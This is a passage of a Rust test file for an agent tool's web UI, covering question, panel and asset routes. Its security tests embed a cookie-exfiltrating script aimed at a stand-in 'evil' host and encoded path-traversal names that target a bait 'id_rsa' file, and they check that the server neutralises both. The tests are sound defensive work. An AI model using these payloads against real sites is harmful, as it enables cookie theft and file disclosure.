7102 fn plain_question(seat: &str) -> Question {
7103 Question::new(
7104 String::new(),
7105 "n".to_owned(),
7106 seat.to_owned(),
7107 "s".to_owned(),
7108 String::new(),
7109 Vec::new(),
7110 )
7111 }
7112
7113 #[test]
7114 fn deputies_enabled_follows_the_config() {
7115 let on = stub_config();
7116 assert!(crate::deputy::can_start(Some(&on), ""));
7117 assert!(crate::deputy::can_start(Some(&on), "stub"));
7118 let mut off = on.clone();
7119 off.daemon.max_deputies = 0;
7120 assert!(!crate::deputy::can_start(Some(&off), ""));
7121 let mut empty = on;
7122 empty.agents.clear();
7123 assert!(!crate::deputy::can_start(Some(&empty), ""));
7124 assert!(!crate::deputy::can_start(None, ""));
7125 }
7126
7127 #[test]
7128 fn question_views_load_the_config_once() {
7129 let dir = TempDir::new().unwrap();
7130 let store = ask::Questions::at(dir.path().to_path_buf());
7131 let mut with_deputy = plain_question("b");
7132 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7133 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7134
7135 let calls = std::cell::Cell::new(0usize);
7136 let views = question_views(qs.clone(), &store, || {
7137 calls.set(calls.get() + 1);
7138 Some(stub_config())
7139 });
7140 assert_eq!(calls.get(), 1);
7141 assert_eq!(views.len(), 3);
7142 for (v, q) in views.iter().zip(&qs) {
7143 assert_eq!(
7144 v.deputies_enabled,
7145 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7146 );
7147 }
7148
7149 let views = question_views(qs, &store, || None);
7150 assert!(views.iter().all(|v| !v.deputies_enabled));
7151
7152 let calls = std::cell::Cell::new(0usize);
7153 let views = question_views(Vec::new(), &store, || {
7154 calls.set(calls.get() + 1);
7155 None
7156 });
7157 assert!(views.is_empty());
7158 assert_eq!(calls.get(), 0);
7159 }
7160
7161 use pretty_assertions::assert_eq;
7162 use serde_json::Value;
7163 use tempfile::TempDir;
7164 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
7165
7166 use super::*;
7167 use crate::config::Config;
7168 use crate::queue::Source;
7169
7170 const SETTLE_STEPS: usize = 3_000;
7181
7182 struct Fixture {
7188 home: TempDir,
7189 addr: SocketAddr,
7190 }
7191
7192 impl Fixture {
7193 async fn start() -> Self {
7194 Self::with_loop(launch_idle).await
7195 }
7196
7197 async fn with_loop(launch: Launch) -> Self {
7199 let home = TempDir::new().expect("temp home");
7200 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7201 Self { home, addr }
7202 }
7203
7204 async fn with_repo(repo: PathBuf) -> Self {
7208 let home = TempDir::new().expect("temp home");
7209 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7210 Self { home, addr }
7211 }
7212
7213 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7216 let home = TempDir::new().expect("temp home");
7217 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7218 Self { home, addr }
7219 }
7220
7221 async fn serve(
7222 home: &FsPath,
7223 repo: PathBuf,
7224 launch: Launch,
7225 machine: Option<PathBuf>,
7226 ) -> SocketAddr {
7227 let queue = Queue::at(home.join("queue"));
7228 let runs = home.join("runs");
7229 std::fs::create_dir_all(&runs).expect("runs dir");
7230 let worktrees = home.join("wt").join("magi");
7231 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7232 let ui = Ui::new(
7233 queue,
7234 Questions::at(home.join("questions")),
7235 Talks::at(home.join("talks")),
7236 runs,
7237 home.to_path_buf(),
7238 repo,
7239 )
7240 .with_worktrees_root(worktrees)
7241 .with_machine_config(machine)
7242 .with_launch(launch);
7243 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7244 .await
7245 .expect("bind loopback");
7246 let addr = listener.local_addr().expect("local addr");
7247 tokio::spawn(async move {
7248 let _ = axum::serve(listener, ui.router()).await;
7249 });
7250 addr
7251 }
7252
7253 fn queue(&self) -> Queue {
7254 Queue::at(self.home.path().join("queue"))
7255 }
7256
7257 fn questions(&self) -> Questions {
7258 Questions::at(self.home.path().join("questions"))
7259 }
7260
7261 fn talks(&self) -> Talks {
7262 Talks::at(self.home.path().join("talks"))
7263 }
7264
7265 fn runs(&self) -> PathBuf {
7266 self.home.path().join("runs")
7267 }
7268
7269 async fn get(&self, path: &str) -> Res {
7270 request(self.addr, "GET", path, None).await
7271 }
7272
7273 async fn head(&self, path: &str) -> Res {
7278 request(self.addr, "HEAD", path, None).await
7279 }
7280
7281 async fn post(&self, path: &str, body: Option<&str>) -> Res {
7282 request(self.addr, "POST", path, body).await
7283 }
7284
7285 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7286 request_with(self.addr, "GET", path, None, extra).await
7287 }
7288
7289 async fn delete(&self, path: &str) -> Res {
7290 request(self.addr, "DELETE", path, None).await
7291 }
7292
7293 async fn put(&self, path: &str, body: &str) -> Res {
7294 request(self.addr, "PUT", path, Some(body)).await
7295 }
7296
7297 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7299 request_bytes(self.addr, path, headers, body).await
7300 }
7301 }
7302
7303 struct Res {
7304 status: u16,
7305 headers: String,
7306 head: String,
7311 body: String,
7312 bytes: Vec<u8>,
7316 }
7317
7318 impl Res {
7319 fn json(&self) -> Value {
7320 serde_json::from_str(&self.body)
7321 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7322 }
7323
7324 fn header(&self, name: &str) -> Option<&str> {
7326 self.head.lines().find_map(|line| {
7327 let (key, value) = line.split_once(':')?;
7328 key.trim()
7329 .eq_ignore_ascii_case(name)
7330 .then(|| value.trim_start().trim_end_matches('\r'))
7331 })
7332 }
7333 }
7334
7335 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7338 request_with(addr, method, path, body, &[]).await
7339 }
7340
7341 async fn request_with(
7345 addr: SocketAddr,
7346 method: &str,
7347 path: &str,
7348 body: Option<&str>,
7349 extra: &[(&str, &str)],
7350 ) -> Res {
7351 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7352 for (name, value) in extra {
7353 head.push_str(&format!("{name}: {value}\r\n"));
7354 }
7355 if let Some(body) = body {
7356 head.push_str("Content-Type: application/json\r\n");
7357 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7358 }
7359 head.push_str("\r\n");
7360 if let Some(body) = body {
7361 head.push_str(body);
7362 }
7363 let mut socket = tokio::net::TcpStream::connect(addr)
7364 .await
7365 .expect("connect to the test server");
7366 socket
7367 .write_all(head.as_bytes())
7368 .await
7369 .expect("write request");
7370 let mut raw = Vec::new();
7371 socket.read_to_end(&mut raw).await.expect("read response");
7372 let split = raw
7375 .windows(4)
7376 .position(|w| w == b"\r\n\r\n")
7377 .expect("a header block");
7378 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7379 let bytes = raw[split + 4..].to_vec();
7380 let status = head
7381 .lines()
7382 .next()
7383 .and_then(|line| line.split_whitespace().nth(1))
7384 .and_then(|code| code.parse().ok())
7385 .expect("a status line");
7386 Res {
7387 status,
7388 headers: head.to_lowercase(),
7389 head,
7390 body: String::from_utf8_lossy(&bytes).into_owned(),
7391 bytes,
7392 }
7393 }
7394
7395 async fn request_bytes(
7401 addr: SocketAddr,
7402 path: &str,
7403 headers: &[(&str, &str)],
7404 body: &[u8],
7405 ) -> Res {
7406 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7407 for (name, value) in headers {
7408 head.push_str(&format!("{name}: {value}\r\n"));
7409 }
7410 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7411 let mut socket = tokio::net::TcpStream::connect(addr)
7412 .await
7413 .expect("connect to the test server");
7414 socket
7415 .write_all(head.as_bytes())
7416 .await
7417 .expect("write request head");
7418 socket.write_all(body).await.expect("write request body");
7419 let mut raw = Vec::new();
7420 socket.read_to_end(&mut raw).await.expect("read response");
7421 let split = raw
7422 .windows(4)
7423 .position(|w| w == b"\r\n\r\n")
7424 .expect("a header block");
7425 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7426 let bytes = raw[split + 4..].to_vec();
7427 let status = head
7428 .lines()
7429 .next()
7430 .and_then(|line| line.split_whitespace().nth(1))
7431 .and_then(|code| code.parse().ok())
7432 .expect("a status line");
7433 Res {
7434 status,
7435 headers: head.to_lowercase(),
7436 head,
7437 body: String::from_utf8_lossy(&bytes).into_owned(),
7438 bytes,
7439 }
7440 }
7441
7442 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7444 let mut state = RunState::new(
7445 PathBuf::from("/repo/magi"),
7446 "main".to_owned(),
7447 "0123456789abcdef".to_owned(),
7448 "Add a web UI\n\nMobile first.".to_owned(),
7449 Config::default(),
7450 );
7451 state.id = id.to_owned();
7452 state.status = status;
7453 let dir = runs.join(id);
7454 std::fs::create_dir_all(&dir).expect("run dir");
7455 std::fs::write(
7456 dir.join("run.json"),
7457 serde_json::to_string_pretty(&state).expect("serialize run"),
7458 )
7459 .expect("write run.json");
7460 }
7461
7462 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7466 let mut state = RunState::new(
7467 PathBuf::from(repo),
7468 "main".to_owned(),
7469 "0123456789abcdef".to_owned(),
7470 "task".to_owned(),
7471 Config::default(),
7472 );
7473 state.id = id.to_owned();
7474 state.status = status;
7475 let dir = runs.join(id);
7476 std::fs::create_dir_all(&dir).expect("run dir");
7477 std::fs::write(
7478 dir.join("run.json"),
7479 serde_json::to_string_pretty(&state).expect("serialize run"),
7480 )
7481 .expect("write run.json");
7482 }
7483
7484 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
7485 let body = serde_json::json!({
7486 "schema": 1,
7487 "pid": 4242,
7488 "started_at": Timestamp::now().to_string(),
7489 "updated_at": updated_at.to_string(),
7490 "idle": false,
7491 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
7492 "completed": 7,
7493 "polls": 143,
7494 });
7495 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
7496 }
7497
7498 fn launch_idle(
7508 _opts: daemon::Opts,
7509 stop: daemon::Stop,
7510 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7511 Box::pin(async move {
7512 while !stop.stopped() {
7513 tokio::time::sleep(Duration::from_millis(2)).await;
7514 }
7515 Ok(())
7516 })
7517 }
7518
7519 fn launch_broken(
7522 _opts: daemon::Opts,
7523 _stop: daemon::Stop,
7524 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7525 Box::pin(async {
7526 Err(anyhow::anyhow!(
7527 "publish the daemon status file: read-only file system"
7528 ))
7529 })
7530 }
7531
7532 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
7539 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
7540
7541 fn launch_knocking_on_the_way_out(
7548 _opts: daemon::Opts,
7549 stop: daemon::Stop,
7550 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7551 Box::pin(async move {
7552 while !stop.stopped() {
7553 tokio::time::sleep(Duration::from_millis(2)).await;
7554 }
7555 let addr = PARK_KNOCK
7556 .lock()
7557 .expect("park knock")
7558 .expect("the test set an address");
7559 let heard = request(addr, "GET", "/api/health", None).await.status;
7560 *PARK_HEARD.lock().expect("park heard") = Some(heard);
7561 Ok(())
7562 })
7563 }
7564
7565 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7574 for _ in 0..SETTLE_STEPS {
7575 let view = fx.get("/api/loop").await.json();
7576 if want(&view) {
7577 return view;
7578 }
7579 tokio::time::sleep(Duration::from_millis(10)).await;
7580 }
7581 panic!(
7582 "the loop never settled: {}",
7583 fx.get("/api/loop").await.json()
7584 );
7585 }
7586
7587 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7589 let store = fx.questions();
7590 let mut q = Question::new(
7591 "20260902-000000-beef".to_owned(),
7592 "implement".to_owned(),
7593 "impl-A".to_owned(),
7594 summary.to_owned(),
7595 "because it matters".to_owned(),
7596 choices.iter().map(|c| (*c).to_owned()).collect(),
7597 );
7598 store.put(&mut q).expect("put question");
7599 q.id
7600 }
7601
7602 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7608 let store = fx.questions();
7609 let mut q = Question::new(
7610 "20260902-000000-beef".to_owned(),
7611 "land".to_owned(),
7612 "fix".to_owned(),
7613 "Merge this?".to_owned(),
7614 "the diff is in the panel".to_owned(),
7615 vec!["merge".to_owned(), "hold".to_owned()],
7616 );
7617 let staging = fx.home.path().join("staging");
7620 std::fs::create_dir_all(&staging).expect("staging dir");
7621 let sources: Vec<PathBuf> = assets
7622 .iter()
7623 .map(|(name, bytes)| {
7624 let path = staging.join(name);
7625 std::fs::write(&path, bytes).expect("write staged asset");
7626 path
7627 })
7628 .collect();
7629 store
7630 .put_panel(&mut q, html, &sources)
7631 .expect("write the panel");
7632 store.put(&mut q).expect("put question");
7633 q.id
7634 }
7635
7636 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
7645 seed_talk_at(&fx.talks(), id, status)
7646 }
7647
7648 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
7649 std::fs::create_dir_all(store.root()).expect("talks dir");
7650 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
7651 .expect("serialize a seat");
7652 let body = serde_json::json!({
7653 "schema": 1,
7654 "id": id,
7655 "repo": "/repo/magi",
7656 "agent": "mock",
7657 "status": status,
7658 "turns": [],
7659 "created_at": Timestamp::now().to_string(),
7660 "updated_at": Timestamp::now().to_string(),
7661 "seat": seat,
7662 });
7663 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7664 store.get(id).expect("the seeded talk has to be readable");
7665 id.to_owned()
7666 }
7667
7668 #[tokio::test]
7669 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7670 let fx = Fixture::start().await;
7671 let id = panel(
7672 &fx,
7673 "<h1>Merge?</h1><img src=\"diff.svg\">",
7674 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7675 );
7676
7677 for path in [
7678 format!("/api/questions/{id}/panel"),
7679 format!("/api/questions/{id}/asset/diff.svg"),
7680 ] {
7681 let res = fx.get(&path).await;
7682 assert_eq!(res.status, 200, "{path}: {}", res.body);
7683 assert_eq!(
7689 res.header("content-security-policy"),
7690 Some(
7691 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
7692 font-src data:; base-uri 'none'; form-action 'none'; \
7693 frame-ancestors 'self'"
7694 ),
7695 "{path} is the only thing between a hostile panel and the tailnet"
7696 );
7697 assert_eq!(
7698 res.header("x-content-type-options"),
7699 Some("nosniff"),
7700 "{path}: a browser must not re-decide the type we sent"
7701 );
7702 assert_eq!(
7703 res.header("referrer-policy"),
7704 Some("no-referrer"),
7705 "{path}: a panel must not leak the question id off the machine"
7706 );
7707
7708 let pre = fx.head(&path).await;
7713 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
7714 assert_eq!(
7715 pre.header("content-security-policy"),
7716 res.header("content-security-policy"),
7717 "{path}: the preflight carries the same policy"
7718 );
7719 assert_eq!(
7720 pre.header("content-type"),
7721 res.header("content-type"),
7722 "{path}: the preflight carries the same type"
7723 );
7724 }
7725 }
7726
7727 #[tokio::test]
7728 async fn a_panel_reaches_the_browser_byte_for_byte() {
7729 let fx = Fixture::start().await;
7730 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
7735 let id = panel(&fx, html, &[]);
7736
7737 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
7738
7739 assert_eq!(res.status, 200);
7740 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
7741 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
7742 assert_eq!(
7743 res.header("content-disposition"),
7744 None,
7745 "the panel itself is rendered in the frame, not downloaded"
7746 );
7747 }
7748
7749 #[tokio::test]
7750 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
7751 let fx = Fixture::start().await;
7752 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
7753 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
7754 let id = panel(
7755 &fx,
7756 "<img src=\"diff.svg\"><img src=\"shot.png\">",
7757 &[("diff.svg", svg), ("shot.png", png)],
7758 );
7759
7760 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7761 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7762
7763 assert_eq!(as_svg.status, 200);
7764 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7765 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7770
7771 assert_eq!(as_png.status, 200);
7772 assert_eq!(as_png.header("content-type"), Some("image/png"));
7773 assert_eq!(
7774 as_png.header("content-disposition"),
7775 None,
7776 "a raster image has no execution surface, so tapping it still shows it"
7777 );
7778 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7779 }
7780
7781 #[tokio::test]
7782 async fn an_html_asset_is_never_served_as_html() {
7783 let fx = Fixture::start().await;
7784 let id = panel(
7785 &fx,
7786 "<p>see the notes</p>",
7787 &[
7788 (
7789 "notes.html",
7790 b"<script>fetch('http://evil/'+document.cookie)</script>",
7791 ),
7792 ("hook.js", b"fetch('http://evil/')"),
7793 ("data.json", b"{}"),
7794 ("HEADLINE.TXT", b"plain"),
7795 ],
7796 );
7797
7798 for name in ["notes.html", "hook.js", "data.json"] {
7799 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7800 assert_eq!(res.status, 200, "{name}: {}", res.body);
7801 assert_eq!(
7806 res.header("content-type"),
7807 Some("application/octet-stream"),
7808 "{name} must not be a type the browser will execute or render"
7809 );
7810 }
7811 let txt = fx
7814 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7815 .await;
7816 assert_eq!(
7817 txt.header("content-type"),
7818 Some("text/plain; charset=utf-8")
7819 );
7820 }
7821
7822 #[tokio::test]
7823 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7824 let fx = Fixture::start().await;
7825 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7826 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7830
7831 for encoded in [
7838 "%2e%2e%2fid_rsa",
7839 "..%2fid_rsa",
7840 "..%5cid_rsa",
7841 "%2e%2e%5cid_rsa",
7842 "diff%00.svg",
7843 "..",
7844 ".hidden",
7845 "%2e%2e%2f%2e%2e%2fid_rsa",
7846 ] {
7847 let res = fx
7848 .get(&format!("/api/questions/{id}/asset/{encoded}"))
7849 .await;
7850 assert_eq!(
7851 res.status, 400,
7852 "`{encoded}` has to be refused by name, not looked up: {}",
7853 res.body
7854 );
7855 assert!(res.json()["error"].is_string(), "{}", res.body);
7856 }
7857
7858 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7864 let res = fx
7865 .get(&format!("/api/questions/{id}/asset/{literal}"))
7866 .await;
7867 assert_eq!(
7868 res.status, 404,
7869 "`{literal}` must not match the asset route at all: {}",
7870 res.body
7871 );
7872 }
7873 }
7874
7875 #[tokio::test]
7876 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7877 let fx = Fixture::start().await;
7878 let plain = ask(&fx, "Which backend?", &["SQLite"]);
7879 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7880
7881 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
7885 assert_eq!(none.status, 404, "{}", none.body);
7886 assert!(none.json()["error"].is_string(), "{}", none.body);
7887 assert_eq!(
7888 fx.head(&format!("/api/questions/{plain}/panel"))
7889 .await
7890 .status,
7891 404,
7892 "the preflight is the only way the client can learn this"
7893 );
7894
7895 let missing = fx
7897 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
7898 .await;
7899 assert_eq!(missing.status, 404, "{}", missing.body);
7900 assert!(missing.json()["error"].is_string(), "{}", missing.body);
7901
7902 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
7904 assert_eq!(
7905 fx.get("/api/questions/nope/asset/diff.svg").await.status,
7906 404
7907 );
7908 }
7909
7910 #[tokio::test]
7911 async fn a_run_with_an_open_question_reads_as_waiting() {
7912 let fx = Fixture::start().await;
7913 let run = "20260902-000000-beef".to_owned();
7914 write_run(&fx.runs(), &run, RunStatus::Implementing);
7915
7916 let before = fx.get("/api/runs").await.json();
7917 assert_eq!(before[0]["waiting"], false, "{before}");
7918
7919 let store = fx.questions();
7920 let mut q = Question::new(
7921 run.clone(),
7922 "implement".to_owned(),
7923 "impl-A".to_owned(),
7924 "Which backend?".to_owned(),
7925 String::new(),
7926 vec!["SQLite".to_owned()],
7927 );
7928 store.put(&mut q).expect("put");
7929
7930 let during = fx.get("/api/runs").await.json();
7931 assert_eq!(during[0]["waiting"], true, "{during}");
7932
7933 q.answer(Answer::Choice("SQLite".to_owned()))
7936 .expect("answer");
7937 store.put(&mut q).expect("put");
7938 let after = fx.get("/api/runs").await.json();
7939 assert_eq!(after[0]["waiting"], false, "{after}");
7940 }
7941
7942 #[tokio::test]
7943 async fn an_open_question_is_listed_and_counted_by_health() {
7944 let fx = Fixture::start().await;
7945 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7946
7947 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7948 let listed = fx.get("/api/questions").await.json();
7949 assert_eq!(listed.as_array().expect("array").len(), 1);
7950 assert_eq!(listed[0]["id"], id);
7951 assert_eq!(listed[0]["status"], "open");
7952 assert_eq!(listed[0]["choices"][1], "Redis");
7953 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7956 }
7957
7958 #[tokio::test]
7959 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
7960 let fx = Fixture::start().await;
7961 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7962 let path = format!("/api/questions/{id}/answer");
7963
7964 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
7965 assert_eq!(res.status, 200, "{}", res.body);
7966 let body = res.json();
7967 assert_eq!(body["status"], "answered");
7968 assert_eq!(body["answer"]["choice"], "Redis");
7969
7970 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
7974 assert_eq!(again.status, 409, "{}", again.body);
7975 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7976 }
7977
7978 #[tokio::test]
7979 async fn saying_something_appends_a_turn_without_answering() {
7980 let fx = Fixture::start().await;
7981 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7982 let path = format!("/api/questions/{id}/say");
7983
7984 let res = fx
7985 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
7986 .await;
7987 assert_eq!(res.status, 200, "{}", res.body);
7988 let body = res.json();
7989 assert_eq!(body["status"], "open", "talking back is not a decision");
7990 assert_eq!(body["answer"], Value::Null);
7991 assert_eq!(body["thread"][0]["who"], "operator");
7992 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
7993 assert_eq!(body["waiting_on_agent"], true);
7994 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7996 }
7997
7998 #[tokio::test]
7999 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
8000 let fx = Fixture::start().await;
8001 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8002
8003 let list = fx.get("/api/questions").await.json();
8004 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
8005
8006 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
8007 assert_eq!(res.status, 409, "{}", res.body);
8008 let q = fx.questions().get(&id).unwrap();
8009 assert!(q.status.open());
8010 assert!(q.consult.is_none());
8011 }
8012
8013 #[tokio::test]
8014 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
8015 let fx = Fixture::start().await;
8016 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8017 let cfg = Config {
8018 agents: vec![crate::config::AgentSpec {
8019 id: "mock".to_owned(),
8020 kind: crate::config::AgentKind::Command,
8021 model: None,
8022 command: vec!["true".to_owned()],
8023 extra_args: Vec::new(),
8024 env: Default::default(),
8025 prompt_delivery: None,
8026 }],
8027 ..Config::default()
8028 };
8029 let talk = crate::talk::begin(
8030 &fx.talks(),
8031 &cfg,
8032 fx.home.path().to_path_buf(),
8033 Some("mock"),
8034 )
8035 .unwrap();
8036 let mut task = Task::new(
8037 "t".to_owned(),
8038 "Do it".to_owned(),
8039 PathBuf::from("/repo/magi"),
8040 Source::Agent {
8041 run: talk.id.clone(),
8042 node: crate::queue::CHAT_NODE.to_owned(),
8043 },
8044 );
8045 task.start("20260902-000000-beef".to_owned());
8046 fx.queue().put(&mut task).unwrap();
8047
8048 let list = fx.get("/api/questions").await.json();
8049 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8050 assert_eq!(
8051 list[0]["choices"],
8052 serde_json::json!(["SQLite", "Redis"]),
8053 "the hand-over is never a choice"
8054 );
8055 let _ = id;
8056 }
8057
8058 #[tokio::test]
8059 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
8060 let fx = Fixture::start().await;
8061 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8062 let cfg = Config {
8063 agents: vec![crate::config::AgentSpec {
8064 id: "mock".to_owned(),
8065 kind: crate::config::AgentKind::Command,
8066 model: None,
8067 command: vec!["true".to_owned()],
8068 extra_args: Vec::new(),
8069 env: Default::default(),
8070 prompt_delivery: None,
8071 }],
8072 ..Config::default()
8073 };
8074 let repo = fx.home.path().join("chat-repo");
8076 std::fs::create_dir_all(&repo).unwrap();
8077 let toml = repo.join("magi.toml");
8078 std::fs::write(&toml, "this is = = not toml").unwrap();
8079 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
8080 let mut task = Task::new(
8081 "t".to_owned(),
8082 "Do it".to_owned(),
8083 PathBuf::from("/repo/magi"),
8084 Source::Agent {
8085 run: talk.id.clone(),
8086 node: crate::queue::CHAT_NODE.to_owned(),
8087 },
8088 );
8089 task.start("20260902-000000-beef".to_owned());
8090 fx.queue().put(&mut task).unwrap();
8091
8092 let path = format!("/api/questions/{id}/consult");
8093 let res = fx.post(&path, None).await;
8094 assert!(res.status >= 400, "{}", res.body);
8095 assert!(fx.questions().get(&id).unwrap().consult.is_none());
8096 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
8097
8098 std::fs::write(&toml, "").unwrap();
8099 let res = fx.post(&path, None).await;
8100 assert_eq!(res.status, 202, "{}", res.body);
8101 assert!(fx.questions().get(&id).unwrap().consult.is_some());
8102 }
8103
8104 #[tokio::test]
8105 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
8106 let fx = Fixture::start().await;
8107 let store = fx.questions();
8108 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8109 assert_eq!(
8110 fx.get("/api/health").await.json()["questions_needs_owner"],
8111 1
8112 );
8113
8114 let res = fx
8120 .post(
8121 &format!("/api/questions/{id}/say"),
8122 Some(r#"{"body":"why not Postgres?"}"#),
8123 )
8124 .await;
8125 assert_eq!(res.status, 200, "{}", res.body);
8126 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8127 assert_eq!(
8128 fx.get("/api/health").await.json()["questions_needs_owner"],
8129 0,
8130 "waiting on the agent is not waiting on the owner"
8131 );
8132
8133 let mut q = store.get(&id).expect("get");
8137 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
8138 .expect("reply");
8139 store.put(&mut q).expect("put");
8140 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8141 assert_eq!(
8142 fx.get("/api/health").await.json()["questions_needs_owner"],
8143 1,
8144 "the agent's reply is what should light the banner back up"
8145 );
8146 }
8147
8148 #[tokio::test]
8149 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
8150 let fx = Fixture::start().await;
8151 let store = fx.questions();
8152
8153 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8154 let res = fx
8155 .post(
8156 &format!("/api/questions/{empty_id}/say"),
8157 Some(r#"{"body":" "}"#),
8158 )
8159 .await;
8160 assert_eq!(res.status, 400, "{}", res.body);
8161
8162 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8163 let mut answered = store.get(&answered_id).expect("get");
8164 answered
8165 .answer(Answer::Choice("SQLite".to_owned()))
8166 .expect("answer");
8167 store.put(&mut answered).expect("put");
8168 let res = fx
8169 .post(
8170 &format!("/api/questions/{answered_id}/say"),
8171 Some(r#"{"body":"still there?"}"#),
8172 )
8173 .await;
8174 assert_eq!(res.status, 409, "{}", res.body);
8175
8176 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8177 let mut abandoned = store.get(&abandoned_id).expect("get");
8178 abandoned.abandon("timed out");
8179 store.put(&mut abandoned).expect("put");
8180 let res = fx
8181 .post(
8182 &format!("/api/questions/{abandoned_id}/say"),
8183 Some(r#"{"body":"still there?"}"#),
8184 )
8185 .await;
8186 assert_eq!(res.status, 409, "{}", res.body);
8187 }
8188
8189 #[tokio::test]
8190 async fn an_answer_the_question_does_not_offer_is_refused() {
8191 let fx = Fixture::start().await;
8192 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8193 let path = format!("/api/questions/{id}/answer");
8194
8195 for body in [
8196 r#"{"choice":"Postgres"}"#,
